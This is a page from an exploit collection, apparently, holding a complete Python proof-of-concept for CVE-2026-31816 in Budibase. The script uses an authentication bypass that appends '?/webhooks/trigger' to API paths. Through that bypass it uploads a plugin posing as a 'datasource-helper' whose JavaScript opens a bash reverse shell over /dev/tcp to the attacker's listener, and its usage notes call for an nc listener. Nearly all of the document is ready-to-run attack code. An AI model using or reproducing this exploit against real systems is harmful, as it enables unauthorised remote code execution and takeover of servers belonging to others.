5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-31816-rshell.py PY
#!/usr/bin/env python3
"""
CVE-2026-31816 - Budibase Reverse Shell Exploit

Usage:
    # Start listener first
    nc -lvnp 4444
    
    # Run exploit
    python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444
"""

import argparse
import requests
import json
import sys
import os
import tarfile
import io

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class RShellExploit:
    def __init__(self, target: str, lhost: str, lport: int, verify_ssl: bool = False):
        self.target = target.rstrip('/')
        self.lhost = lhost
        self.lport = lport
        self.bypass = '?/webhooks/trigger'
        self.session = requests.Session()
        self.session.verify = verify_ssl

    def _get_bypass_url(self, endpoint: str) -> str:
        if '?' in endpoint:
            return f"{self.target}{endpoint}&/webhooks/trigger"
        return f"{self.target}{endpoint}{self.bypass}"

    def check_vulnerability(self) -> bool:
        url = self._get_bypass_url('/api/integrations')
        try:
            resp = self.session.get(url, timeout=10)
            return resp.status_code == 200
        except:
            return False

    def create_rshell_plugin(self, output_path: str = "rshell_plugin.tar.gz") -> str:
        print(f"[*] Creating reverse shell plugin targeting {self.lhost}:{self.lport}")

        package_json = {
            "name": "datasource-helper",
            "version": "1.0.0",
            "description": "Data source helper plugin"
        }

        schema_json = {
            "type": "datasource",
            "metadata": {},
            "schema": {
                "description": "Helper Datasource",
                "friendlyName": "Helper DS",
                "type": "Non-relational",
                "datasource": {
                    "host": {"type": "string", "required": True, "default": "localhost"},
                    "port": {"type": "number", "required": True, "default": 27017}
                },
                "query": {
                    "read": {"type": "json", "fields": {}},
                    "create": {"type": "json", "fields": {}}
                }
            }
        }

        # Simple reverse shell using bash /dev/tcp
        rshell_js = f'''// Reverse Shell - CVE-2026-31816
var cp = require("child_process");
var cmd = "bash -c \'bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1\'";
console.log("[RShell] Connecting to {self.lhost}:{self.lport}...");
try {{
    cp.exec(cmd);
    console.log("[RShell] Shell spawned");
}} catch(e) {{
    console.log("[RShell] Error: " + e);
}}
module.exports = {{schema: {{}}, integration: function() {{}}}};
'''

        with tarfile.open(output_path, "w:gz") as tar:
            pkg_data = json.dumps(package_json, indent=2).encode('utf-8')
            pkg_info = tarfile.TarInfo(name="package.json")
            pkg_info.size = len(pkg_data)
            tar.addfile(pkg_info, io.BytesIO(pkg_data))

            schema_data = json.dumps(schema_json, indent=2).encode('utf-8')
            schema_info = tarfile.TarInfo(name="schema.json")
            schema_info.size = len(schema_data)
            tar.addfile(schema_info, io.BytesIO(schema_data))

            js_data = rshell_js.encode('utf-8')
            js_info = tarfile.TarInfo(name=f"{package_json['name']}.js")
            js_info.size = len(js_data)
            tar.addfile(js_info, io.BytesIO(js_data))

        return output_path

    def upload_plugin(self, file_path: str) -> dict:
        url = self._get_bypass_url('/api/plugin/upload')
        print(f"[*] Uploading to: {url}")

        with open(file_path, 'rb') as f:
            files = {'file': (os.path.basename(file_path), f, 'application/gzip')}
            resp = self.session.post(url, files=files, timeout=60)

        print(f"[*] Status: {resp.status_code}")
        print(f"[*] Response: {resp.text[:500]}")

        if resp.status_code in [200, 201]:
            return resp.json() if resp.text else {}
        return None


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-31816 Reverse Shell Exploit")
    parser.add_argument("-t", "--target", required=True, help="Target URL")
    parser.add_argument("--lhost", required=True, help="Your IP (listener host)")
    parser.add_argument("--lport", type=int, default=4444, help="Listener port (default: 4444)")
    args = parser.parse_args()

    print("="*60)
    print("CVE-2026-31816 - Reverse Shell Exploit")
    print("="*60)
    print(f"[*] Target: {args.target}")
    print(f"[*] Reverse shell: {args.lhost}:{args.lport}")
    print()
    print("[!] Make sure you have a listener running:")
    print(f"    nc -lvnp {args.lport}")
    print()

    exploit = RShellExploit(args.target, args.lhost, args.lport)

    # Check vulnerability
    print("[*] Checking vulnerability...")
    if not exploit.check_vulnerability():
        print("[-] Target does not appear vulnerable")
        sys.exit(1)
    print("[+] Target is vulnerable!")

    # Create plugin
    plugin_path = exploit.create_rshell_plugin()

    # Upload
    print("\n[*] Uploading reverse shell plugin...")
    result = exploit.upload_plugin(plugin_path)

    if result:
        print("\n" + "="*60)
        print("[+] SUCCESS! Plugin uploaded!")
        print(f"[+] Check your listener at {args.lhost}:{args.lport}")
        print("="*60)
    else:
        print("\n[-] Upload failed - check error message above")

    # Cleanup
    if os.path.exists(plugin_path):
        os.remove(plugin_path)


if __name__ == "__main__":
    main()